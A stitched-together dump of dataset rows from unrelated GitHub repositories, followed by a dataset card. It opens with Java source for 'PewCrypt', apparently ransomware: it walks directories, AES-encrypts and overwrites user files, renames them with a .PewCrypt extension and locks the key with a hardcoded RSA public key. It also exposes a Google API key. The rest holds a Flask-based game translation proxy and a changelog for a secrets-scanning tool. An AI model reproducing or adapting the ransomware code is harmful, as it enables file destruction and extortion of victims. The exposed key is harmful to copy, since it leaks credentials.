Encryptor/src/main/Scraper.java
package main; import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.URL; import java.net.URLConnection; public class Scraper { public Scraper() { } public int getPewdiepieCount() { try { return this.parseJson(this.getJson("https://www.googleapis.com/youtube/v3/channels?part=statistics&id=UC-lHJZR3Gqxm24_Vd_AJ5Yw&fields=items/statistics/subscriberCount&key=AIzaSyACZdXbrIijp3kLgAGNIdSCe7uxxIvo9wY")); } catch (Exception e) { e.printStackTrace(); return 0; } } public int getTSeriesCount() { try { return this.parseJson(this.getJson("https://www.googleapis.com/youtube/v3/channels?part=statistics&id=UCq-Fj5jknLsUf-MWSy4_brA&fields=items/statistics/subscriberCount&key=AIzaSyACZdXbrIijp3kLgAGNIdSCe7uxxIvo9wY")); } catch (Exception e) { e.printStackTrace(); return 0; } } public int parseJson(String json) { // crude but light weight way of parsing target values String tail = json.split(":")[3]; return Integer.parseInt(tail.split("\"")[1]); } public String getJson(String targetUrl) throws Exception { URL target = new URL(targetUrl); URLConnection targetc = target.openConnection(); BufferedReader in = new BufferedReader( new InputStreamReader( targetc.getInputStream())); String inputLine; String res = ""; while ((inputLine = in.readLine()) != null) { res += inputLine; } in.close(); return res; } }
000JustMe/PewCrypt
1,300
Encryptor/src/main/FileItter.java
package main; import java.io.File; import java.util.ArrayList; public class FileItter { /* * Class constructor will iterate though target paths Function itterFiles * recursively walks directory finding files Function getPaths to access paths * found and encrypt-able */ private ArrayList<String> paths; private ArrayList<File> directory_paths; public FileItter(String[] paths) { this.paths = new ArrayList<String>(); this.directory_paths = new ArrayList<File>(); for (String path : paths) { System.out.println(path); File file = new File(path); if (file.isDirectory()) { // directory needs walking directory_paths.add(file); } else { // must be a file this.paths.add(path); } } this.itterFiles(this.directory_paths.toArray(new File[this.directory_paths.size()])); } private void itterFiles(File[] files) { try { for (File file : files) { //System.out.println(file.getPath()); if (file.isDirectory()) { itterFiles(file.listFiles()); // recursion } else { //if a file this.paths.add(file.getPath()); } } } catch (NullPointerException e) { // when a folder is empty System.out.println(e); } } public ArrayList<String> getPaths() { return this.paths; } }
000JustMe/PewCrypt
5,370
Encryptor/src/main/Crypto.java
package main; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.security.InvalidKeyException; import java.security.Key; import java.security.KeyFactory; import java.security.NoSuchAlgorithmException; import java.security.PublicKey; import java.security.SecureRandom; import java.security.spec.InvalidKeySpecException; import java.security.spec.X509EncodedKeySpec; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; public class Crypto { private final SecureRandom rnd = new SecureRandom(); private final byte[] RSA_key = new byte[] { 48, (byte) 130, 1, 34, 48, 13, 6, 9, 42, (byte) 134, 72, (byte) 134, (byte) 247, 13, 1, 1, 1, 5, 0, 3, (byte) 130, 1, 15, 0, 48, (byte) 130, 1, 10, 2, (byte) 130, 1, 1, 0, (byte) 211, (byte) 132, 73, 127, 125, 43, (byte) 148, (byte) 128, (byte) 128, 6, 36, 39, (byte) 220, 47, 57, (byte) 161, (byte) 147, (byte) 143, (byte) 202, (byte) 155, 24, 74, (byte) 168, 16, (byte) 164, 86, (byte) 160, 4, 9, 21, (byte) 162, (byte) 139, (byte) 144, (byte) 223, 24, 50, 54, 74, 73, 41, (byte) 237, 58, (byte) 214, 50, 88, (byte) 193, 83, 7, 120, 118, 114, (byte) 163, 6, 89, 94, (byte) 209, 65, 90, 56, 16, 38, (byte) 171, 81, (byte) 153, 45, (byte) 153, (byte) 175, 125, (byte) 161, 16, 126, 25, (byte) 181, (byte) 171, 35, 13, (byte) 144, (byte) 249, 24, (byte) 249, 62, (byte) 145, (byte) 185, (byte) 169, (byte) 217, (byte) 229, (byte) 142, 116, (byte) 244, (byte) 141, (byte) 148, (byte) 179, 26, 114, (byte) 253, (byte) 146, (byte) 162, (byte) 194, (byte) 165, (byte) 250, 82, (byte) 206, 102, 9, 35, 47, 62, 17, (byte) 200, 127, (byte) 183, 77, (byte) 147, 90, 78, (byte) 182, (byte) 244, (byte) 186, (byte) 212, 59, 54, (byte) 217, (byte) 250, (byte) 217, (byte) 253, (byte) 235, 31, (byte) 235, (byte) 248, (byte) 226, 44, (byte) 218, 53, 50, 25, 67, 5, 33, 38, 71, 43, 107, (byte) 234, 26, 104, 90, 2, 4, (byte) 144, 72, 53, (byte) 217, (byte) 238, 48, (byte) 154, 25, 77, 86, 90, (byte) 238, 69, (byte) 156, (byte) 157, (byte) 174, (byte) 245, 66, 107, (byte) 183, 91, 72, 55, (byte) 196, (byte) 163, 125, 121, (byte) 192, (byte) 182, (byte) 205, (byte) 158, 36, (byte) 201, 76, 31, (byte) 218, 82, 39, (byte) 193, (byte) 159, 66, 108, 78, 14, 122, (byte) 137, (byte) 233, (byte) 191, 110, (byte) 198, 123, (byte) 162, (byte) 219, (byte) 154, 11, (byte) 223, 88, 119, (byte) 208, 37, (byte) 157, (byte) 187, 60, 79, 64, (byte) 184, (byte) 234, 52, 104, 56, (byte) 158, (byte) 230, 70, 25, (byte) 254, 84, 14, 73, (byte) 182, (byte) 141, 78, (byte) 249, 11, (byte) 187, 51, (byte) 139, 76, 42, (byte) 157, (byte) 213, 95, 88, 85, 42, 8, 14, (byte) 135, (byte) 147, (byte) 248, (byte) 189, 50, 117, (byte) 153, 23, 0, 38, (byte) 158, 63, 2, 3, 1, 0, 1 }; private final byte[] PASS = new byte[32]; private Cipher cipher; private int cipherMode; private String[] IgnoredExtentions = new String[] { ".PewCrypt", ".exe", ".jar", ".dll" }; public Crypto(boolean toEncrypt) { // determine mode if (toEncrypt) { this.cipherMode = Cipher.ENCRYPT_MODE; } else { this.cipherMode = Cipher.DECRYPT_MODE; } try { // generate random AES pass this.rnd.nextBytes(PASS); Key AES_key = new SecretKeySpec(PASS, "AES"); this.cipher = Cipher.getInstance("AES"); this.cipher.init(this.cipherMode, AES_key); } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException e) { System.out.println(e); } } public boolean encrypt_AES_key() { // get KeySpec X509EncodedKeySpec ks = new X509EncodedKeySpec(this.RSA_key); try { KeyFactory kf = KeyFactory.getInstance("RSA"); // Get public key from KeySpec PublicKey pub = kf.generatePublic(ks); // create new AES.key file File kfile = new File("AES.key"); kfile.createNewFile(); // encrypt AES key with public Cipher cipher = Cipher.getInstance("RSA"); cipher.init(Cipher.ENCRYPT_MODE, pub); // encrypted data buffer byte[] out = cipher.doFinal(this.PASS); // write encrypted data to AES.key file Files.write(kfile.toPath(), out); } catch (InvalidKeySpecException | IOException | NoSuchPaddingException | InvalidKeyException | IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException e) { e.printStackTrace(); return false; } return true; } public boolean ProcessFile(String path) { try { // get handles File file = new File(path); // checks if file extension is ignored for (String exten : this.IgnoredExtentions) { if (file.getName().contains(exten)) { return false; } } // file checks if (!file.exists() | !file.canRead() | !file.canWrite() | (file.length() > 20000000)) { return false; } // file content buffer byte[] fileContent = Files.readAllBytes(file.toPath()); // encrypted data buffer byte[] outputBytes = this.cipher.doFinal(fileContent); // write encrypted data back to file Files.write(file.toPath(), outputBytes); file.renameTo(new File(path + ".PewCrypt")); return true; } catch (IOException | BadPaddingException | IllegalBlockSizeException e) { System.out.println(e); return false; } } }
0001lizhubo/XUnity.AutoTranslator-deepseek
1,147
README.md
# XUnity.AutoTranslator-deepseek 本项目通过调用腾讯的DeepSeek V3 API,实现Unity游戏中日文文本的自动翻译。 ## 准备工作 ### 1. 获取API密钥 - 访问[腾讯云API控制台](https://console.cloud.tencent.com/lkeap/api)申请DeepSeek的API密钥(限时免费)。 - 也可以使用其他平台提供的DeepSeek API。 ### 2. 安装依赖 确保已安装以下软件和库: - **XUnity.AutoTranslator** - **Python 3.x** 安装必要的Python库: ```bash pip install Flask gevent openai ``` ### 3. 配置API 克隆本项目后,修改deepseekv3.py中的`api_key`配置部分: ```python client = OpenAI( api_key="sk-XXXXXXXXXXXXXXXXXXXXXX", # 替换为您的API密钥 base_url=Base_url, # API请求基础URL ) ``` ### 4. 自定义API配置 如果使用其他云厂商的API和模型,请修改以下配置: ```python # API配置参数 Base_url = "https://api.lkeap.cloud.tencent.com/v1" # OpenAI API请求地址 Model_Type = "deepseek-v3" # 使用的模型类型 ``` ## 启动项目 ### 1. 启动Python脚本 确保Python脚本成功启动,命令行应显示: ``` 服务器在 http://127.0.0.1:4000 上启动 ``` ### 2. 配置XUnity.AutoTranslator 修改XUnity.AutoTranslator插件的配置文件`AutoTranslatorConfig.ini`或`Config.ini`: ```ini [Service] Endpoint=CustomTranslate [Custom] Url=http://127.0.0.1:4000/translate ``` ## 参考项目 - [XUnity.AutoTranslator-Sakura](https://github.com/as176590811/XUnity.AutoTranslator-Sakura) --- 通过以上步骤,您可以轻松实现Unity游戏中日文文本的自动翻译。如有问题,请参考相关文档或联系开发者。
0001lizhubo/XUnity.AutoTranslator-deepseek
14,868
deepseekv3.py
import os import re import json import time from flask import Flask, request # 导入 Flask 库,用于创建 Web 应用,需要安装:pip install Flask from gevent.pywsgi import WSGIServer # 导入 gevent 的 WSGIServer,用于提供高性能的异步服务器,需要安装:pip install gevent from urllib.parse import unquote # 导入 unquote 函数,用于 URL 解码 from threading import Thread # 导入 Thread,用于创建线程 (虽然实际上未使用,但import没有坏处) from queue import Queue # 导入 Queue,用于创建线程安全的队列 import concurrent.futures # 导入 concurrent.futures,用于线程池 from openai import OpenAI # 导入 OpenAI 库,用于调用 OpenAI API,需要安装:pip install openai 并更新:pip install --upgrade openai # 启用虚拟终端序列,支持 ANSI 转义代码,允许在终端显示彩色文本 os.system('') dict_path='用户替换字典.json' # 替换字典路径。如果不需要使用替换字典,请将此变量留空(设为 None 或空字符串 "") # API 配置参数 Base_url = "https://api.lkeap.cloud.tencent.com/v1" # OpenAI API 请求地址,这里使用了腾讯云的 API 代理服务 Model_Type = "deepseek-v3" # 使用的模型类型,可选项包括"deepseek-v3" 或者其他模型 # 检查请求地址尾部是否已包含 "/v1",若没有则自动补全,确保 API 请求路径正确 if Base_url[-3:] != "/v1": Base_url = Base_url + "/v1" # 创建 OpenAI 客户端实例 client = OpenAI( api_key="sk-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", # API 密钥,请替换为您自己的 API Key。如何获取 API Key 的指南:https://cloud.tencent.com/document/product/1772/115970 base_url=Base_url, # API 请求基础 URL,设置为上面配置的 Base_url ) # 译文重复内容检测参数 repeat_count=5 # 重复内容阈值。如果译文中有任意单字或单词连续重复出现次数大于等于 repeat_count,则认为译文质量不佳,会触发重试翻译逻辑 # 提示词 (Prompt) 配置 prompt= ''' 你是资深本地化专家,负责将游戏日文文本译为简体中文。接收文本后,按以下要求翻译: 翻译范围:翻译普通日文文本,保留原文叙述风格。 保留格式:保留转义字符、格式标签、换行符等非日文文本内容。 翻译原则:忠实准确,确保语义无误;对露骨性描写,可直白粗俗表述,不删减篡改;对双关语等特殊表达,找目标语言等效表达,保原作意图风格。 文本类型:游戏文本含角色对话、旁白、武器及物品名称、技能描述、格式标签、换行符、特殊符号等。 以下是待翻译的游戏文本: ''' # 基础提示词,用于指导模型进行翻译,定义了翻译的角色、范围、格式、原则和文本类型 prompt_list=[prompt] # 提示词列表。可以配置多个提示词,程序会依次尝试使用列表中的提示词进行翻译,直到获得满意的结果 l=len(prompt_list) # 获取提示词列表的长度 (此变量目前未被直接使用,可能是为后续扩展功能预留) # 提示字典相关的提示词配置 dprompt0='\n在翻译中使用以下字典,字典的格式为{\'原文\':\'译文\'}\n' # 提示模型在翻译时使用提供的字典。字典格式为 JSON 格式的字符串,键为原文,值为译文 dprompt1='\nDuring the translation, use a dictionary in {\'Japanese text \':\'translated text \'} format\n' # 英文版的字典提示词,可能用于多语言支持或模型偏好 # dprompt_list 字典提示词列表,与 prompt_list 提示词列表一一对应。当使用 prompt_list 中的第 i 个提示词时,会同时使用 dprompt_list 中的第 i 个字典提示词 dprompt_list=[dprompt0,dprompt1,dprompt1] app = Flask(__name__) # 创建 Flask 应用实例 # 读取提示字典 prompt_dict= {} # 初始化提示字典为空字典 if dict_path: # 检查是否配置了字典路径 try: with open(dict_path, 'r', encoding='utf8') as f: # 尝试打开字典文件 tempdict = json.load(f) # 加载 JSON 字典数据 # 按照字典 key 的长度从长到短排序,确保优先匹配长 key,避免短 key 干扰长 key 的匹配 sortedkey = sorted(tempdict.keys(), key=lambda x: len(x), reverse=True) for i in sortedkey: prompt_dict[i] = tempdict[i] # 将排序后的字典数据存入 prompt_dict except FileNotFoundError: print(f"\033[33m警告:字典文件 {dict_path} 未找到。\033[0m") # 警告用户字典文件未找到 except json.JSONDecodeError: print(f"\033[31m错误:字典文件 {dict_path} JSON 格式错误,请检查字典文件。\033[0m") # 错误提示 JSON 格式错误 except Exception as e: print(f"\033[31m读取字典文件时发生未知错误: {e}\033[0m") # 捕获其他可能的文件读取或 JSON 解析错误 def contains_japanese(text): """ 检测文本中是否包含日文字符。 Args: text (str): 待检测的文本。 Returns: bool: 如果文本包含日文字符,则返回 True;否则返回 False。 """ pattern = re.compile(r'[\u3040-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FE]') # 日文字符的 Unicode 范围正则表达式 return pattern.search(text) is not None # 使用正则表达式搜索文本中是否包含日文字符 def has_repeated_sequence(string, count): """ 检测字符串中是否存在连续重复的字符或子串。 Args: string (str): 待检测的字符串。 count (int): 重复次数阈值。 Returns: bool: 如果字符串中存在重复次数达到或超过阈值的字符或子串,则返回 True;否则返回 False。 """ # 首先检查单个字符的重复 for char in set(string): # 遍历字符串中的不重复字符集合 if string.count(char) >= count: # 统计每个字符在字符串中出现的次数,如果超过阈值,则返回 True return True # 然后检查字符串片段(子串)的重复 for size in range(2, len(string)//count + 1): # 子串长度从 2 开始到 len(string)//count,因为更长的重复子串不太可能出现 for start in range(0, len(string) - size + 1): # 滑动窗口的起始位置 substring = string[start:start + size] # 提取当前窗口的子串 matches = re.findall(re.escape(substring), string) # 使用正则表达式查找整个字符串中该子串的重复次数,re.escape 用于转义特殊字符 if len(matches) >= count: # 如果子串重复次数达到阈值,则返回 True return True return False # 如果以上所有检查都没有发现重复内容,则返回 False # 获得文本中包含的字典词汇 def get_dict(text): """ 从文本中提取出在提示字典 (prompt_dict) 中存在的词汇及其翻译。 Args: text (str): 待处理的文本。 Returns: dict: 一个字典,key 为在文本中找到的字典原文,value 为对应的译文。 如果文本中没有找到任何字典词汇,则返回空字典。 """ res={} # 初始化结果字典 for key in prompt_dict.keys(): # 遍历提示字典中的所有原文 (key) if key in text: # 检查当前原文 (key) 是否出现在待处理文本中 res.update({key:prompt_dict[key]}) # 如果找到,则将该原文及其译文添加到结果字典中 text=text.replace(key,'') # 从文本中移除已匹配到的字典原文,避免出现长字典包含短字典导致重复匹配的情况。 # 例如,字典中有 "技能" 和 "技能描述" 两个词条,如果先匹配到 "技能描述", # 则将文本中的 "技能描述" 替换为空,后续就不会再匹配到 "技能" 了。 if text=='': # 如果文本在替换过程中被清空,说明所有文本内容都已被字典词汇覆盖,提前结束循环 break return res # 返回提取到的字典词汇和译文 request_queue = Queue() # 创建请求队列,用于异步处理翻译请求。使用队列可以避免请求处理阻塞主线程,提高服务器响应速度 def handle_translation(text, translation_queue): """ 处理翻译请求的核心函数。 Args: text (str): 待翻译的文本。 translation_queue (Queue): 用于存放翻译结果的队列。 """ text = unquote(text) # 对接收到的文本进行 URL 解码,还原原始文本内容 max_retries = 3 # 最大 API 请求重试次数 retries = 0 # 初始化重试次数计数器 MAX_THREADS = 30 # 最大线程数限制,用于限制并发 API 请求数量,防止对 API 造成过大压力或超出并发限制 queue_length = request_queue.qsize() # 获取当前请求队列的长度,可以根据队列长度动态调整线程数 number_of_threads = max(1, min(queue_length // 4, MAX_THREADS)) # 动态计算线程数: # 至少使用 1 个线程,最多不超过 MAX_THREADS, # 线程数随队列长度增加而增加,但增幅受限 (除以 4)。 # 这样可以在请求量大时增加并发,请求量小时减少资源占用。 special_chars = [',', '。', '?','...'] # 定义句末特殊字符列表,用于句末标点符号的对齐和修正 text_end_special_char = None # 初始化文本末尾特殊字符变量 if text[-1] in special_chars: # 检查待翻译文本末尾是否包含特殊字符 text_end_special_char = text[-1] # 如果包含,则记录该特殊字符 special_char_start = "「" # 定义特殊字符起始标记 special_char_end = "」" # 定义特殊字符结束标记 has_special_start = text.startswith(special_char_start) # 检查文本是否以特殊字符起始标记开头 has_special_end = text.endswith(special_char_end) # 检查文本是否以特殊字符结束标记结尾 if has_special_start and has_special_end: # 如果文本同时包含起始和结束特殊字符标记,则在翻译前移除它们, # 翻译后再将特殊字符加回,以避免特殊字符影响翻译质量或被模型错误翻译 text = text[len(special_char_start):-len(special_char_end)] # OpenAI 模型参数配置 model_params = { "temperature": 0.1, # 降低 temperature,使模型输出更稳定,减少随机性 "frequency_penalty": 0.1, # 对频繁出现的 token 施加惩罚, हल्का降低重复内容生成的可能性 "max_tokens": 512, # 限制模型生成token的最大数量,避免模型生成过长文本,浪费token或超出处理限制 "top_p": 0.3, # 限制候选token的范围,仅考虑累积概率最高的 top_p 部分 token,进一步约束模型输出,提高生成质量 } try: # 使用 try...except 块捕获可能发生的异常,例如 API 请求超时或错误 dict_inuse=get_dict(text) # 从待翻译文本中获取字典词汇 for i in range(len(prompt_list)): # 遍历提示词列表,尝试使用不同的提示词进行翻译 prompt = prompt_list[i] # 获取当前循环的提示词 dict_inuse = get_dict(text) # 再次获取字典词汇 (虽然此处重复获取,但逻辑上为了保证每次循环都重新获取一次字典是更严谨的) if dict_inuse: # 如果获取到字典词汇,则将字典提示词和字典内容添加到当前提示词中,引导模型使用字典进行翻译 prompt += dprompt_list[i] + str(dict_inuse) messages_test = [ # 构建 OpenAI API 请求的消息体 {"role": "system", "content": prompt}, # system 角色消息,包含提示词,用于设定模型角色和翻译目标 {"role": "user", "content": text} # user 角色消息,包含待翻译的文本内容 ] with concurrent.futures.ThreadPoolExecutor(max_workers=number_of_threads) as executor: # 创建线程池,并发执行 API 请求 future_to_trans = {executor.submit(client.chat.completions.create, model=Model_Type, messages=messages_test, **model_params) for _ in range(number_of_threads)} # 提交多个 API 请求任务到线程池 # 这里提交的任务数量等于 number_of_threads,实现并发请求 for future in concurrent.futures.as_completed(future_to_trans): # 遍历已完成的 future try: # 再次使用 try...except 捕获单个 API 请求可能发生的异常 response_test = future.result() # 获取 future 的结果,即 API 响应 translations = response_test.choices[0].message.content # 从 API 响应中提取翻译结果文本 print(f'{prompt}\n{translations}') # 打印提示词和翻译结果 (调试或日志记录用) if translations.startswith('\n') and not text.startswith('\n'): #当原文未有换行符,结果出现换行符 translations = translations.lstrip('\n') #清除结果中开头的换行符 if has_special_start and has_special_end: # 如果原始文本包含特殊字符标记,则将翻译结果用特殊字符标记包裹起来,保持格式一致 if not translations.startswith(special_char_start): # 检查翻译结果是否已以起始标记开头,若没有则添加 translations = special_char_start + translations if not translations.endswith(special_char_end): # 检查翻译结果是否已以结束标记结尾,若没有则添加 translations = translations + special_char_end elif has_special_start and not translations.startswith(special_char_start): # 再次检查并添加起始标记,以应对更复杂的情况 translations = special_char_start + translations elif has_special_end and not translations.endswith(special_char_end): # 再次检查并添加结束标记,以应对更复杂的情况 translations = translations + special_char_end translation_end_special_char = None # 初始化翻译结果末尾特殊字符变量 if translations[-1] in special_chars: # 检查翻译结果末尾是否包含特殊字符 translation_end_special_char = translations[-1] # 如果包含,则记录该特殊字符 if text_end_special_char and translation_end_special_char: # 如果原始文本和翻译结果末尾都有特殊字符 if text_end_special_char != translation_end_special_char: # 且两个特殊字符不一致,则修正翻译结果的末尾特殊字符,使其与原始文本一致,保持标点符号对齐 translations = translations[:-1] + text_end_special_char elif text_end_special_char and not translation_end_special_char: # 如果原始文本末尾有特殊字符,而翻译结果没有,则将原始文本的末尾特殊字符添加到翻译结果末尾,保持标点符号完整 translations += text_end_special_char elif not text_end_special_char and translation_end_special_char: # 如果原始文本末尾没有特殊字符,而翻译结果有,则移除翻译结果末尾的特殊字符,保持标点符号简洁 translations = translations[:-1] contains_japanese_characters = contains_japanese(translations) # 检测翻译结果中是否包含日文字符 repeat_check = has_repeated_sequence(translations, repeat_count) # 检测翻译结果中是否存在重复内容 except Exception as e: # 捕获 API 请求异常 retries += 1 # 增加重试次数 print(f"API请求超时,正在进行第 {retries} 次重试... {e}") # 打印重试信息 if retries == max_retries: # 如果达到最大重试次数 raise e # 抛出异常,终止翻译 time.sleep(1) # 等待 1 秒后重试 if not contains_japanese_characters and not repeat_check: # 如果翻译结果不包含日文字符且没有重复内容,则认为翻译质量可以接受,跳出提示词循环 break elif contains_japanese_characters: # 如果翻译结果包含日文字符,则说明当前提示词不适用 print("\033[31m检测到译文中包含日文字符,尝试使用下一个提示词进行翻译。\033[0m") # 打印警告信息,提示将尝试下一个提示词 continue # 继续下一次循环,尝试使用下一个提示词 elif repeat_check: # 如果翻译结果存在重复内容,则说明翻译质量不佳,需要调整模型参数或提示词 print("\033[31m检测到译文中存在重复短语,调整参数。\033[0m") # 打印警告信息,提示将调整模型参数 model_params['frequency_penalty'] += 0.1 # 增加 frequency_penalty 参数值,降低模型生成重复内容的倾向 break # 跳出当前提示词的尝试,使用调整后的参数重新尝试翻译 (注意这里只是 break 了内层的 for 循环,外层的 for 循环会继续尝试下一个提示词,逻辑可能需要根据实际需求调整) if not contains_japanese_characters and not repeat_check: # 再次检查,如果翻译结果最终符合要求 (不包含日文字符且没有重复内容),则跳出所有循环,完成翻译 break # 打印最终翻译结果 (高亮显示) print(f"\033[36m[译文]\033[0m:\033[31m {translations}\033[0m") print("-------------------------------------------------------------------------------------------------------") # 分隔线,用于分隔不同文本的翻译结果 translation_queue.put(translations) # 将翻译结果放入翻译结果队列,供 Flask 路由函数获取 except Exception as e: # 捕获更外层的异常,例如 API 连接错误等 print(f"API请求失败:{e}") # 打印 API 请求失败的错误信息 translation_queue.put(False) # 将 False 放入翻译结果队列,表示翻译失败 # 定义 Flask 路由,处理 "/translate" GET 请求 @app.route('/translate', methods=['GET']) def translate(): """ Flask 路由函数,处理 "/translate" GET 请求。 接收 GET 请求参数中的 "text" 字段,调用翻译处理函数进行翻译,并返回翻译结果。 如果翻译超时或失败,则返回相应的错误信息和状态码。 Returns: Response: Flask Response 对象,包含翻译结果或错误信息。 """ text = request.args.get('text') # 从 GET 请求的查询参数中获取待翻译的文本,参数名为 "text" print(f"\033[36m[原文]\033[0m \033[35m{text}\033[0m") # 打印接收到的原文 (高亮显示) # 由于提示词中已经提供对换行符的处理,所以这里不需要再对换行符进行特殊处理,所以将下面的代码注释掉,如果修改了提示词,请取消注释 # if '\n' in text: # 检查原文中是否包含换行符 "\n" # text=text.replace('\n','\\n') # 如果包含,则将换行符替换为 "\\n",避免换行符在后续处理中引起问题 (例如,在某些日志或显示场景下) translation_queue = Queue() # 创建一个新的翻译结果队列,用于当前请求的翻译结果传递 request_queue.put_nowait(text) # 将待翻译文本放入请求队列,使用 put_nowait 非阻塞地放入队列 with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: # 创建一个线程池,用于执行翻译任务 (这里线程池的最大线程数设置为 10,可能需要根据实际情况调整) future = executor.submit(handle_translation, text, translation_queue) # 提交翻译任务 (handle_translation 函数) 到线程池,并获取 Future 对象,用于跟踪任务状态和结果 try: # 使用 try...except 块捕获任务执行超时异常 future.result(timeout=30) # 等待任务完成,设置超时时间为 30 秒。如果在 30 秒内任务没有完成,则抛出 TimeoutError 异常 except concurrent.futures.TimeoutError: # 捕获超时异常 print("翻译请求超时,重新翻译...") # 打印超时信息 return "[请求超时] " + text, 500 # 返回 HTTP 500 错误状态码和错误信息,包含原始文本,方便用户识别超时的请求 translation = translation_queue.get() # 从翻译结果队列中获取翻译结果,这里会阻塞等待,直到队列中有结果可取 request_queue.get_nowait() # 从请求队列中移除已处理完成的请求 (这里可能需要根据实际队列使用逻辑来调整,如果 request_queue 仅用于统计队列长度,则此处的 get_nowait 可能不是必需的) if isinstance(translation, str): # 检查翻译结果是否为字符串类型,判断翻译是否成功 translation = translation.replace('\\n', '\n') # 如果翻译成功,将之前替换的 "\\n" 还原为 "\n",恢复原始换行符格式 return translation # 返回翻译结果字符串 else: # 如果翻译结果不是字符串类型 (例如,返回了 False),则表示翻译失败 return translation, 500 # 返回翻译失败的状态码 500 和具体的错误信息 (如果 translation 中包含了错误信息) def main(): """ 主函数,启动 Flask 应用和 gevent 服务器。 """ print("\033[31m服务器在 http://127.0.0.1:4000 上启动\033[0m") # 打印服务器启动信息,提示用户访问地址 http_server = WSGIServer(('127.0.0.1', 4000), app, log=None, error_log=None) # 创建 gevent WSGIServer 实例,监听 127.0.0.1:4000 端口,使用 Flask app 处理请求,禁用访问日志和错误日志 (log=None, error_log=None) http_server.serve_forever() # 启动 gevent 服务器,无限循环运行,等待和处理客户端请求 if __name__ == '__main__': main() # 当脚本作为主程序运行时,调用 main 函数启动服务器
000pp/Pinkerton
3,190
CHANGELOG.md
# 1.7 - 10/05/2025 - Removed "banner.txt" file - Removed ASCII art from banner - Changed color and print scheme - Changed "rich.print" to "rich.console.print" - Improved the code - Add -H option, now you can specify custom headers, for example: ``` python3 main.py -u https://webhook.site/793d267f-c86a-48e6-94e6-9513d0f8917a -H "First-Header" "First-Header-Value" -H "Second-Header" "Second-Header-Value" GET https://webhook.site/793d267f-c86a-48e6-94e6-9513d0f8917a second-header Second-Header-Value first-header First-Header-Value ``` - Removed Heroku API Key regex because of false positives <br> # 1.6c - 20/07/2023 - Major changes - Removed "assets" folder (moved banner img to imgur) <br> # 1.6b - 06/08/2022 - Added 2 new secrets regex patterns: - Asana Client ID - Asana Client Secret - IPv4 regex pattern removed because of false positives <br> # 1.6a - 04/08/2022 - Added 4 new secrets regex patterns: - Shopify Access Token - Shopify Custom Access Token - Shopify Private App Access Token - Shopify Shared Secret - Changed regex and jsbeautify import libs <br> # 1.6 - 31/07/2022 - Added 11 new secrets regex patterns: - URL Schemes - Adobe Client Secret - Alibaba AccessKey ID - Clojars API Token - Doppler API Token - Dynatrace API Token - EasyPost API Token - GitHub App Token - GitHub Personal Access Token - GitLab Personal Access Token - NPM Access Token - Fixed GCP API Key regex - Removed useless if/else code <br> # 1.5a - 28/07/2022 - Added 2 new secrets regex patterns: - Slack Webhook+ - Slack OAuth Tokens <br> # 1.5 - 28/07/2022 - Added 9 new secrets regex patterns: - Artifactory API Token & Password - Cloudinary Basic Auth - Facebook Client ID - IPv4 Address - Linkedin Secret Key - Picatic API Key - Mailto String - Slack Token - URL Parameters - Fixed error message when not parsing arguments - Changed status messages icons - Changed README.md banner - Updated README.md <br> # 1.4 - 18/07/2022 - Added 5 new secrets regex patterns: - PGP Private Key Block - SSH DSA Private Key - SSH EC Private Key - SSH RSA Key - SSH ED25519 Public Key - Added jsbeautifier lib to improve regex pattern matching - Fixed blank regex pattern matching caused by not beautified code - Fixed infinite JavaScript file scanning <br> # 1.3 - 04/07/2022 - Added and updated a bunch of secrets regex: - Cloudinary - Firebase URL - Slack Token - Facebook Access & API - Mailgun API Key - Heroku API Key - Picatic API Key - Paypal Braintree - Twitter Access & OAuth Token - GitHub URL - Stripe - Slack Webhook - Twilio API Key - Square Access Token & OAuth Secret - Removed text file with URLs scanner to fix bugs <br> # 1.2b - 21/06/2022 - Pinkerton accept a text file with URLs now! <br> # 1.2 - 21/06/2022 - Secret searcher module finished! - Improved the code <br> # 1.1 - 20/06/2022 - JavaScript file link extractor finished! - Improved the code - Thinking in a better color system... <br> # 1.0 - 09/06/2022 - Official Pinkerton release
End of preview. Expand in Data Studio

🚀 GitHub Code 2025: The Clean Code Manifesto

A meticulously curated dataset of 1.5M+ repositories representing both quality and innovation in 2025's code ecosystem

🌟 The Philosophy

Quality Over Quantity, Purpose Over Volume

In an era of data abundance, we present a dataset built on radical curation. Every file, every repository, every byte has been carefully selected to represent the signal in the noise of open-source development.

🎯 What This Dataset Is

📊 Dual-Perspective Design

Subset 🎖️ Above 2 Stars 🌱 Below 2 Stars (2025)
Scope 1M top repositories 1M random 2025 repos
Purpose Proven quality & patterns Emerging trends & innovation
Value What works What's next

🧹 The Clean Code Promise

# What you WON'T find here:
🚫 Binary files          # No images, executables, models
🚫 Build artifacts       # No node_modules, __pycache__
🚫 Configuration noise   # No .git, IDE files, lock files
🚫 License duplication   # No repetitive legal text
🚫 Minified code         # No compressed/obfuscated content
🚫 Empty files           # No whitespace-only content

📁 Dataset Structure

github-code-2025/
├── 📈 above-2-stars/
│   ├── train_000.parquet
│   ├── train_001.parquet
│   └── ...
└── 🌱 below-2-star/
    ├── train_000.parquet
    ├── train_001.parquet
    └── ...

📊 Schema

{
    "repo_id": "owner/repo_name",    # 📍 Repository identifier
    "file_path": "src/main.py",      # 🗂️ Relative file path
    "content": "def clean_code():",   # 💎 Actual source code
    "size": 1024                     # 📏 File size in bytes
}

🛠️ How to Use

🔥 Quick Start

from datasets import load_dataset

# Load the quality benchmark
quality_ds = load_dataset("nick007x/github-code-2025", "above-2-stars")

# Load emerging trends
emerging_ds = load_dataset("nick007x/github-code-2025", "below-2-star")

# Mix for balanced training
balanced_ds = interleave_datasets([quality_ds, emerging_ds])

🎯 Ideal Use Cases

  • 🧠 AI Training: Clean, diverse code for language models
  • 📊 Code Analysis: Compare popular vs emerging patterns
  • 🔍 Trend Research: 2025 development practices
  • 🎓 Education: High-quality examples for learning
  • 🛠️ Tool Development: Benchmarking code quality tools

🏗️ Creation Methodology

🎨 Selection Strategy

Phase Action Purpose
1 🎯 Dual population sampling Balance quality & innovation
2 🧹 Multi-layer filtering Remove noise & binaries
3 📏 Size normalization Focus on meaningful content
4 🔍 Content validation Ensure text quality
